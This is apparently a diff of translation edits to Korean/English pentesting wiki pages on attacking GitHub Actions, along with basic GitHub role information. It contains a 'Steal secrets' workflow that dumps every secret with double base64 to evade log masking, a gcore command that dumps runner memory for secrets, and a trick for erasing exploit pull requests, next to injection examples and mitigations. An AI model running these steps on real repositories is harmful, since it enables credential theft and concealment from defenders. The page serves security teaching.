@@ -390,7 +351,7 @@ Well, the original blogpost proposes two options to abuse this behavior being th
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
문제는 **`path`** 파라미터가 설정되지 않으면 artifact가 현재 디렉터리에 추출되어 이후 workflow에서 사용되거나 심지어 실행될 수 있는 파일들을 덮어쓸 수 있다는 점입니다. 따라서 Artifact 취약점이 있으면 공격자는 이를 악용해 Artifact를 신뢰하는 다른 workflows를 손상시킬 수 있습니다.
문제는 **`path`** 파라미터가 설정되어 있지 않으면 artifact가 현재 디렉터리에 추출되어 이후 workflow에서 사용되거나 실행될 수 있는 파일들을 덮어쓸 수 있다는 점다. 따라서 Artifact 취약하면, 공격자는 이를 악용해 Artifact를 신뢰하는 다른 workflows를 손상시킬 수 있다.
Example of vulnerable workflow:
```yaml
@@ -415,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
다음 workflow로 공격할 수 있습니다:
workflow로 공격할 수 있습니다:
```yaml
name: "some workflow"
on: pull_request
@@ -436,23 +397,23 @@ path: ./script.py
### Deleted Namespace Repo Hijacking
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
계정 이름을 변경하면 일정 시간이 지난 후 다른 사용자가 그 이름으로 계정을 등록할 수 있습니다. 만약 repository가 **이름 변경 이전에 100 stars 미만**이었다면, Github는 같은 이름으로 새로 가입한 사용자에게 삭제된 것과 동일한 이름의 **repository를 생성**할 수 있도록 허용합니다.
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
> 따라서 action이 존재하지 않는 계정의 repo를 사용하고 있다면, 공격자가 해당 계정을 생성하여 action을 compromise할 가능성이 여전히 있습니다.
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
만약 다른 repositories**이 사용자의 repos로부터 dependencies를 사용하고 있었다면**, 공격자는 이를 hijack할 수 있습니다. 자세한 설명은 다음을 참고하세요: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
> 이 섹션에서는 첫 번째 repo에 어떤 식으로든 접근이 있다고 가정할 때, 다른 repo로 **pivot from one repo to another**할 수 있게 해주는 기술들에 대해 설명합니다 (이전 섹션을 확인하세요).
### Cache Poisoning
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
같은 branch에서의 **workflow runs 간에 cache가 유지됩니다**. 즉, 공격자가 cache에 저장된 어떤 **package**를 compromise하면, 그 패키지가 더 권한이 높은 workflow에 의해 다운로드되어 실행될 때 해당 workflow도 **compromise**될 수 있습니다.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -460,7 +421,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
Workflows는 **다른 workflows 또는 repo의 artifacts**를 사용할 수 있습니다. 공격자가 나중에 다른 workflow에서 사용되는 artifact를 **uploads an artifact**하는 Github Action을 compromise하면, 다른 workflows 역시 **compromise**할 수 있습니다:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -472,7 +433,7 @@ gh-actions-artifact-poisoning.md
### Github Action Policies Bypass
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
이것은 [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass)에서 언급했듯이, repository organization이 특정 actions의 사용을 제한하는 policy를 가지고 있더라도, 공격자는 workflow 내부에서 해당 action을 단순히 다운로드(`git clone`)한 다음 로컬 action으로 참조할 수 있습니다. Policies가 로컬 경로에는 영향을 미치지 않기 때문에, ** action은 어떠한 제한 없이 실행됩니다.**
Example:
```yaml
@@ -507,15 +468,15 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### secrets에 접근하기 <a href="#accessing-secrets" id="accessing-secrets"></a>
### secrets에 접근 <a href="#accessing-secrets" id="accessing-secrets"></a>
스크립트에 콘텐츠를 주입하는 경우, secrets에 어떻게 접근할 수 있는지 아는 것이 중요합니다:
만약 script에 콘텐츠를 주입하고 있다면, secrets에 접근하는 방법을 아는 것이 유용합니다:
- secret 또는 token이 **환경 변수 (environment variable)**로 설정되어 있면, **`printenv`**를 사용해 환경에서 직접 접근할 수 있습니다.
- 만약 secret 또는 token이 **environment variable**로 설정되어 있면, **`printenv`**를 사용해 환경에서 직접 접근할 수 있습니다.
<details>
<summary>Github Action 출력에 secrets 나열하기</summary>
<summary>Github Action output에 secrets 나열</summary>
```yaml
name: list_env
on:
@@ -542,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>secrets reverse shell 얻기</summary>
<summary>secrets를 사용해 reverse shell 얻기</summary>
```yaml
name: revshell
on:
@@ -565,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- 비밀이 **directly in an expression**에서 사용되는 경우, 생성된 셸 스크립트는 **on-disk**에 저장되어 접근 가능해집니다.
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- JavaScript actions의 경우 secrets environment variables를 통해 전달됩니다
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- **custom action**의 경우, 프로그램이 **argument**에서 얻은 secret을 어떻게 사용하는지에 따라 위험이 달라질 수 있습니다:
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
```yaml
uses: fakeaction/publish@v3
@@ -581,7 +542,7 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
- secrets context(협업자 수준)를 통해 모든 secrets를 열거할 수 있습니다. write 권한이 있는 기여자는 어느 브랜치에서든 workflow를 수정하여 모든 repository/org/environment secrets를 덤프할 수 있습니다. GitHub의 로그 마스킹을 회피하려면 double base64를 사용하고 로컬에서 디코딩하세요:
- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHubs log masking and decode locally:
```yaml
name: Steal secrets
@@ -597,35 +558,35 @@ run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
로컬에서 디코딩:
Decode locally:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
팁: 테스트 중 은밀성을 위해 출력하기 전에 암호화하세요 (openssl은 GitHub-hosted runners에 미리 설치되어 있습니다).
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
### Self-hosted runners 악용
어떤 **Github Actions are being executed in non-github infrastructure**인지 찾으려면 Github Action 구성 yaml에서 **`runs-on: self-hosted`**를 검색하세요.
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
**Self-hosted** runners **extra sensitive information**에 접근할 수 있고, 다른 **network systems**(네트워크의 취약한 엔드포인트? metadata service?)에 접근할 수 있습니다. 또는 격리되어 파괴되더라도 **more than one action might be run at the same time** 상황에서 악의적인 액션이 다른 액션의 **steal the secrets**할 수 있습니다.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
self-hosted runners에서는 메모리를 덤프하여 워크플로우의 모든 단계에서 모든 secrets를 포함한 **secrets from the \_Runner.Listener**\_\*\* process\*\*를 얻을 수 있습니다:
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
자세한 내용은 [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker 이미지 레지스트리
### Github Docker Images Registry
Github actionsDocker 이미지를 Github 내부에 **빌드하고 저장**할 수 있습니다.\\
다음 확장 섹션에서 예제를 볼 수 있습니다:
Github actions를 사용하면 **Docker 이미지를 Github 안에 빌드하고 저장할 수 있습니다**.\
예제는 다음 확장 가능한 섹션에서 확인할 수 있습니다:
<details>
<summary>Github Action: Docker 이미지 빌드 및 푸시</summary>
<summary>Github Action Build & Push Docker Image</summary>
```yaml
[...]
@@ -656,9 +617,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
앞선 코드에서 보았듯, Github registry**`ghcr.io`**에 호스팅되어 있습니다.
이전 코드에서 보았듯, Github 레지스트리**`ghcr.io`**에 호스팅되어 있습니다.
리포지토리에 대해 읽기 권한이 있는 사용자는 개인 액세스 토큰을 사용해 Docker Image를 다운로드할 수 있습니다:
레포(repo)에 대해 읽기 권한(read permissions)이 있는 사용자는 personal access token(개인 액세스 토큰)을 사용해 Docker Image를 다운로드할 수 있습니다:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
@@ -669,20 +630,20 @@ docker pull ghcr.io/<org-name>/<repo_name>:<tag>
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Github Actions 로그의 민감한 정보
### Github Actions logs의 민감한 정보
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
비록 **Github**가 actions logs에서 **detect secret values**하고 **avoid showing**하려 해도, 액션 실행 중 생성되었을 수 있는 **other sensitive data**는 숨겨지지 않습니다. 예를 들어, secret value로 서명된 JWT는 [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) 되어 있지 않으면 숨겨지지 않습니다.
## Covering your Tracks
## 흔적 지우기
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 우선, 생성 모든 PR은 공개적으로 Github와 대상 GitHub 계정에 명확하게 표시됩니다. 기본적으로 GitHub에서는 **cant delete a PR of the internet**, 하지만 반전이 있습니다. Github 계정이 Github에 의해 **suspended** 되면, 해당 계정의 모든 **PRs are automatically deleted** 되어 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub account suspended or get your account flagged** 상태가 되어야 합니다. 이것은 인터넷에서 GitHub의 모든 활동 **hide all your activities** (기본적으로 모든 your exploit PR 제거) 니다.
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 우선, 생성 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 분명히 보입니다. GitHub에서는 기본적으로 인터넷상의 PR을 **cant delete a PR of the internet**, 하지만 반전이 있습니다. Github 계정이 Github에 의해 **suspended**되면, 해당 계정의 모든 **PRs are automatically deleted**되어 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub account suspended or get your account flagged** 되게 해야 합니다. 이렇게 하면 GitHub에서의 모든 활동이 인터넷에서 **hide all your activities** (기본적으로 모든 exploit PR 제거) 니다.
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
GitHub의 조직은 계정을 GitHub에 신고하는 데 매우 적극적입니다. Issue에 “some stuff”를 올리기만 하면 12시간 내에 계정이 정지되도록 조치해 줄 것이고 :p 그러면 exploit invisible on github 하게 됩니다.
> [!WARNING]
> 조직이 자신들이 표적이 되었는지 파악할 수 있는 유일한 방법은 SIEM GitHub 로그를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다.
> 조직이 자신들이 타깃이 되었는지 알아내는 유일한 방법은 SIEM에서 GitHub logs를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다.
## References
## 참고자료
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
@@ -2,20 +2,20 @@
{{#include ../../../banners/hacktricks-training.md}}
## 위험 이해하기
## 위험 이해
GitHub Actions는 step이 실행되기 전에 ${{ ... }} 표현식을 렌더링합니다. 렌더된 값은 step의 프로그램(특히 run 단계의 경우 shell script)에 삽입됩니다. 만약 신뢰할 수 없는 입력을 run: 안에 직접 보간하면, 공격자는 shell 프로그램의 일부분을 제어하여 임의의 명령을 실행할 수 있습니다.
GitHub Actions는 단계가 실행되기 전에 ${{ ... }} 표현식을 렌더링합니다. 렌더된 값은 해당 단계의 프로그램(예: run 단계의 경우 셸 스크립트)에 붙여넣어집니다. run: 안에 신뢰할 수 없는 입력을 직접 인터폴레이션하면 공격자가 셸 프로그램의 일부 제어하여 임의의 명령을 실행할 수 있습니다.
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
핵심 포인트:
- 렌더링은 실행 전에 발생합니다. 모든 표현식이 해석된 상태로 run 스크립트가 생성되고, 그 다음 shell에서 실행됩니다.
- 많은 contexts는 트리거 이벤트에 따라 사용자 제어 필드를 포함합니다(issues, PRs, comments, discussions, forks, stars 등). 신뢰할 수 없는 입력에 대한 참고는 다음을 참조하세요: https://securitylab.github.com/resources/github-actions-untrusted-input/
- run: 안의 Shell 인용(quoting)은 신뢰할 수 있는 방어 아닙니다. 인젝션은 템플릿 렌더링 단계에서 발생하기 때문입니다. 공격자는 조작된 입력으로 인용부를 탈출하거나 연산자(operator)를 주입할 수 있습니다.
핵심 요점:
- 렌더링은 실행 전에 발생합니다. 모든 표현식이 해석된 상태로 run 스크립트가 생성된 다음 셸에서 실행됩니다.
- 많은 contexts는 트리거 이벤트(issues, PRs, comments, discussions, forks, stars 등)에 따라 사용자 제어 필드를 포함합니다. 신뢰할 수 없는 입력에 대한 참고는 다음을 세요: https://securitylab.github.com/resources/github-actions-untrusted-input/
- run: 내부의 셸 따옴표는 신뢰할 수 있는 방어책이 아닙니다. 인젝션은 템플릿 렌더링 단계에서 발생하기 때문입니다. 공격자는 조작된 입력을 통해 따옴표를 탈출하거나 연산자를 주입할 수 있습니다.
## 취약한 패턴 → RCE on runner
취약한 workflow (누군가 새 issue를 열 때 트리거됨):
취약한 workflow (누군가 새 이슈를 열 때 트리거됨):
```yaml
name: New Issue Created
on:
@@ -36,20 +36,20 @@ with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
공격자가 제목이 $(id)인 issue를 열면, 렌더된 step은 다음과 같다:
공격자가 제목이 $(id)인 이슈를 열면, 렌더된 단계는 다음과 같이 됩니다:
```sh
echo "New issue $(id) created"
```
명령 치환은 runner에서 id를 실행합니다. 예시 출력:
command substitution은 runner에서 id를 실행합니다. 예시 출력:
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
quoting이 안전을 보장하지 않는 이유:
- Expressions는 먼저 렌더링되고, 그 결과로 생성된 스크립트가 실행됩니다. 신뢰할 수 없는 값에 $(...), `;`, `"`/`'`, 또는 줄바꿈(newlines)이 포함되어 있면, quoting에도 불구하고 프로그램 구조를 변경할 수 있습니다.
따옴표로 감싸는 것으로는 안전해지지 않는 이유:
- 표현식은 먼저 렌더링된 다음, 그 결과 스크립트가 실행됩니다. 만약 신뢰할 수 없는 값에 $(...), `;`, `"`/`'`, 또는 개행이 포함되어 있면, 따옴표로 감싸더라도 프로그램 구조를 변경할 수 있습니다.
## 안전한 패턴 (shell variables via env)
올바른 완화 방법: 신뢰할 수 없는 입력을 환경 변수에 복사한 다음, run 스크립트에서 네이티브 shell 확장($VAR)을 사용하세요. 명령 안에서 ${{ ... }}로 다시 임베드하지 마세요.
올바른 완화 방법: 신뢰할 수 없는 입력을 환경 변수에 복사한 다음, run 스크립트에서 네이티브 shell 확장($VAR)을 사용하세요. 명령 내부에 ${{ ... }}로 다시 포함시키지 마세요.
```yaml
# safe
jobs:
@@ -63,28 +63,28 @@ run: |
echo "New issue $TITLE created"
```
Notes:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
- run: 안에서 ${{ env.TITLE }} 사용을 피하세요. 이는 명령에 템플릿 렌더링을 다시 도입하여 동일한 injection 위험을 초래합니다.
- untrusted inputs env: 매핑을 통해 전달하고 run:에서 $VAR로 참조하는 것이 바람직합니다.
## 사용자(읽기 권한)가 트리거할 수 있는 지점(신뢰할 수 없음으로 취급)
## Reader-triggerable surfaces (treat as untrusted)
퍼블릭 저장소에 대해 읽기 권한만 있는 계정도 여전히 많은 이벤트를 트리거할 수 있습니다. 이러한 이벤트에서 유래한 컨텍스트의 모든 필드는 달리 증되지 않는 한 공격자가 제어하는 것으로 간주해야 합니다. 예:
읽는 사용자가 트리거할 수 있는 이벤트는 많습니다. public repositories에 대해 read 권한만 있는 계정도 여 이벤트를 트리거할 수 있습니다. 이러한 이벤트로부터 유래한 contexts의 모든 필드는 달리 증되지 않는 한 공격자에 의해 조작될 수 있다고 간주해야 합니다. 예:
- issues, issue_comment
- discussion, discussion_comment (조직은 discussions를 제한할 수 있음)
- discussion, discussion_comment (orgs는 discussions를 제한할 수 있음)
- pull_request, pull_request_review, pull_request_review_comment
- pull_request_target (오용 시 위험, base repo 컨텍스트에서 실행됨)
- pull_request_target (오용 시 위험, base repo 컨텍스트에서 실행됨)
- fork (누구나 public repos를 fork할 수 있음)
- watch (저장소에 스타를 표시하는 행위)
- Indirectly via workflow_run/workflow_call chains
- watch (리포지토리에 star를 누르는 행위)
- workflow_run/workflow_call 체인을 통한 간접적 경로
어떤 특정 필드가 공격자에 의해 제어되는지는 이벤트마다 다릅니다. GitHub Security Lab의 신뢰할 수 없는 입력 가이드를 참조하세요: https://securitylab.github.com/resources/github-actions-untrusted-input/
어떤 특정 필드가 공격자 제어인지 여부는 이벤트별로 다릅니다. GitHub Security Lab의 untrusted input 가이드를 참조하세요: https://securitylab.github.com/resources/github-actions-untrusted-input/
## Practical tips
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
- 브랜치 이름, PR 제목, 사용자명, 레이블, 토론 제목, PR head refs 등을 스크립트, 명령줄 플래그 또는 파일 경로에 보간할 때 각별히 주의하세요.
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
- run: 안에서 expressions 사용을 최소화하세요. env: 매핑 + $VAR를 선호하세요.
- 입력을 변환해야 한다면 shell에서 안전한 도구(printf %q, jq -r 등)를 사용해 변환하되, 항상 shell 변수에서 시작하세요.
- 스크립트, 명령행 플래그, 파일 경로에 branch names, PR titles, usernames, labels, discussion titles, PR head refs 등을 보간할 때 각별히 주의하세요.
- reusable workflows composite actions에도 동일한 패턴을 적용하세요: env로 매핑한 다음 $VAR로 참조합니다.
## References
@@ -1,156 +1,156 @@
# 기본 Github 정보
# Basic Github Information
{{#include ../../banners/hacktricks-training.md}}
## 기본 구조
## Basic Structure
**company**의 기본 github 환경 구조는 **enterprise**를 소유하고 그 **enterprise**가 **여러 organizations**을 소유하, 각 조직은 **여러 repositories**와 **여러 teams**를 포함할 수 있습니다. 작은 회사는 단지 **하나의 organization만 소유하고 enterprise는 없을 수 있습니다**.
**회사**의 기본 github 환경 구조는 **엔터프라이즈(enterprise)**가 여러 **조직(organizations)**을 소유하, 각 조직은 여러 **저장소(repositories)**와 여러 **팀(teams)**을 가질 수 있는 형태입니다. 작은 회사는 **하나의 조직만 소유하고 엔터프라이즈가 없을 수도** 있습니다.
사용자 관점에서 **user**는 **다른 enterprise와 organization의 멤버**일 수 있습니다. 그 안에서 사용자는 **enterprise, organization 및 repository에 대한 서로 다른 역할**을 가질 수 있습니다.
사용자 관점에서 **사용자(user)**는 **다른 엔터프라이즈와 조직의 멤버(member)**일 수 있습니다. 그 안에서 사용자는 **엔터프라이즈, 조직, 저장소에 대한 서로 다른 역할(roles)**을 가질 수 있습니다.
또한 사용자는 서로 다른 enterprise, organization 또는 repository 역할을 가진 **여러 teams의 구성원**일 수 있습니다.
또한 사용자는 서로 다른 엔터프라이즈, 조직 또는 저장소 역할을 가진 **여러 팀의 일원**일 수 있습니다.
마지막으로 **repositories는 특별한 보호 메커니즘을 가질 수 있습니다**.
마지막으로 **저장소에는 특별한 보호 메커니즘**이 있을 수 있습니다.
## 권한
## Privileges
### Enterprise 역할
### Enterprise Roles
- **Enterprise owner**: 이 역할을 가진 사람은 **관리자 관리, enterprise 내 조직 관리, enterprise 설정 관리, 조직 전반의 정책 시행**을 할 수 있습니다. 그러나 조직 소유자(organization owner)가 되거나 조직 소유 레포지토리에 대한 직접 접근 권한 부여지 않는 한 **organization 설정이나 콘텐츠에 접근할 수 없습니다**.
- **Enterprise members**: 귀하의 enterprise가 소유한 조직의 구성원은 **자동으로 enterprise의 멤버**가 됩니다.
- **Enterprise owner**: 이 역할을 가진 사람은 **관리자 관리, 엔터프라이즈 내 조직 관리, 엔터프라이즈 설정 관리, 조직 전반의 정책 강제**을 할 수 있습니다. 다만 **조직 소유자이거나 조직 소유한 저장소에 직접 접근 권한 부여지 않았다면 조직 설정이나 콘텐츠에 접근할 수 없습니다.**
- **Enterprise members**: 엔터프라이즈가 소유한 조직의 구성원은 **자동으로 엔터프라이즈의 멤버**가 됩니다.
### Organization 역할
### Organization Roles
조직 내에서 사용자는 다양한 역할을 가질 수 있습니다:
조직 내에서 사용자는 여러 역할을 가질 수 있습니다:
- **Organization owners**: Organization owners는 **조직에 대한 완전한 관리 접근 권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내 최소 두 명 이상에게는 부여되어야 합니다.
- **Organization members**: 조직 내 사람들의 **기본(default)** 비관리자 역할은 organization member입니다. 기본적으로 organization members**여러 권한을 가집니다**.
- **Billing managers**: Billing managers는 조직의 **청구 설정(예: 결제 정보)을 관리할 수 있는 사용자**입니다.
- **Security Managers**: 조직 소유자가 조직의 어떤 팀에 할당할 수 있는 역할입니다. 적용되면 해당 팀의 모든 구성원에게 **조직 전반의 보안 경고 및 설정을 관리할 수 있는 권한과 조직 내 모든 리포지토리에 대한 읽기 권한**을 부여합니다.
- 조직에 security team이 있면, security manager 역할을 사용하여 팀 구성원에게 조직에 필요한 최소한의 접근 권한을 줄 수 있습니다.
- **Github App managers**: 조직이 소유한 GitHub Apps를 **추가 사용자에게 관리할 수 있도록** 허용하려면, 소유자가 그들에게 GitHub App manager 권한을 부여할 수 있습니다.
- **Outside collaborators**: Outside collaborator는 **조직의 명시적 멤버는 아니지만 하나 이상의 조직 리포지토리에 접근 권한 사람**입니다.
- **Organization owners**: 조직 소유자는 **조직에 대한 완전한 관리 접근권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내에서는 최소 두 명 이상이 맡아야 합니다.
- **Organization members**: 조직 내 사람들의 기본(non-administrative) 역할은 조직 멤버입니다. 기본적으로 조직 멤버는 **여러 권한**을 가집니다.
- **Billing managers**: 청구 관리자는 조직의 결제 정보 같은 **청구 설정을 관리**할 수 있는 사용자입니다.
- **Security Managers**: 조직 소유자가 조직의 어떤 팀에 할당할 수 있는 역할입니다. 적용되면 해당 팀의 모든 구성원에게 **조직 전반의 보안 경고 및 설정을 관리할 수 있는 권한과 조직 내 모든 저장소에 대한 읽기 권한**을 부여합니다.
- 조직에 security team이 있면, security manager 역할을 사용 팀 구성원에게 조직에 필요한 최소한의 접근만 부여할 수 있습니다.
- **Github App managers**: 조직이 소유한 **GitHub Apps를 관리**할 추가 사용자를 허용하려면, 소유자가 그들에게 GitHub App manager 권한을 부여할 수 있습니다.
- **Outside collaborators**: 외부 협력자는 **조직의 한 개 이상의 저장소에 접근 권한으나 조직의 명시적 멤버는 아닌 사람**입니다.
이 역할들의 권한을 비교하려면 이 표를 참조하세요: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
이 역할들의 권한을 이 표에서 **비교**할 수 있습니다: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Members 권한
### Members Privileges
_https://github.com/organizations/\<org_name>/settings/member_privileges_에서 **조직의 구성원으로서 사용자가 갖게 될 권한**을 수 있습니다.
_in https://github.com/organizations/\<org_name>/settings/member_privileges_ 에서 **조직의 구성원으로서 사용자들이 가질 권한**을 확인할 수 있습니다.
여기 구성 설정은 조직 구성원들의 다음 권한을 나타냅니다:
여기 구성되는 설정은 조직 구성원 권한에 대해 다음 항목들을 결정합니다:
- 조직의 모든 레포지토리에 대해 admin, writer, reader 또는 권한 없음.
- 멤버가 private, internal 또는 public 리포지토리를 생성할 수 있는지 여부.
- 리포지토리의 fork가 가능한지 여부.
- outside collaborators를 초대할 수 있는지 여부.
- public 또는 private 사이트를 게시할 수 있는지 여부.
- 레포지토리에 대한 admins의 권한.
- 멤버가 새 팀을 생성할 수 있는지 여부.
- 조직의 모든 저장소에 대해 admin, writer, reader 또는 권한 없음
- 멤버가 private, internal 또는 public 저장소를 생성할 수 있는지 여부
- 저장소의 포크(forking)가 가능한지 여부
- 외부 협력자를 초대할 수 있는지 여부
- public 또는 private 사이트를 게시할 수 있는지 여부
- 관리자(admin)가 저장소에 대해 가지는 권한
- 멤버가 새 팀을 생성할 수 있는지 여부
### Repository 역할
### Repository Roles
기본적으로 리포지토리 역할은 다음과 같이 생성됩니다:
기본적으로 저장소 역할은 다음과 같이 생성됩니다:
- **Read**: 프로젝트를 보거나 토론하려는 **코드 기여자(non-code contributors)**에게 권장됩니다.
- **Triage**: 쓰기 권한 없이 이슈와 pull request를 능동적으로 관리해야 하는 **기여자**에게 권장됩니다.
- **Write**: 프로젝트에 **적극적으로 push하는 기여자**에게 권장됩니다.
- **Maintain**: 민감하거나 파괴적인 작업에 접근하지 않고 **리포지토리를 관리해야 하는 프로젝트 매니저**에게 권장됩니다.
- **Admin**: 보안 관리나 리포지토리 삭제 같은 민감하고 파괴적인 작업을 포함하여 **프로젝트에 대한 전체 접근**이 필요한 사람에게 권장됩니다.
- **Read**: 프로젝트를 보거나 논의하려는 **코드 기여자가 아닌 사용자에 권장**
- **Triage**: 쓰기 권한 없이 이슈와 PR을 적극적으로 관리해야 하는 **기여자에게 권장**
- **Write**: 프로젝트에 적극적으로 푸시하는 **기여자에게 권장**
- **Maintain**: 민감하거나 파괴적인 작업에 접근하지 않고 **저장소를 관리해야 하는 프로젝트 매니저에게 권장**
- **Admin**: 보안 관리나 저장소 삭제 같은 민감하고 파괴적인 작업을 포함**프로젝트에 대한 전체 접근이 필요한 사람에게 권장**
각 역할의 권한을 비교하려면 이 표를 보세요: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
각 역할의 권한을 이 표에서 **비교**할 수 있습니다 [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
또한 _https://github.com/organizations/\<org_name>/settings/roles_에서 **사용자 정의 역할을 생성**할 수 있습니다.
또한 _https://github.com/organizations/\<org_name>/settings/roles_ 에서 **자체 역할을 생성**할 수 있습니다.
### Teams
조직에서 생성된 팀 목록은 _https://github.com/orgs/\<org_name>/teams_에서 볼 수 있습니다. 주의할 점은 다른 팀의 하위 팀(children)까지 보려면 각 상위 팀(parent team)에 접근해야 한다는 것입니다.
_https://github.com/orgs/\<org_name>/teams_ 에서 조직에 생성된 **팀 목록**을 볼 수 있습니다. 다른 팀의 하위 팀(자식 팀)을 보려면 각 상위 팀에 접근해야 한다는 점을 유의하세요.
### Users
조직의 사용자는 _https://github.com/orgs/\<org_name>/people_에서 **목록화**할 수 있습니다.
조직의 사용자는 _https://github.com/orgs/\<org_name>/people._ 에서 **목록화**할 수 있습니다.
각 사용자 정보에서 사용자가 속한 **teams** 사용자가 접근할 수 있는 **repos**를 수 있습니다.
각 사용자 정보에서 사용자가 **속한 ** 사용자가 **접근 가능한 저장소**를 확인할 수 있습니다.
## Github 인증
## Github Authentication
Github는 계정에 인증하고 사용자를 대신하여 작업을 수행하는 다양한 방법을 제공합니다.
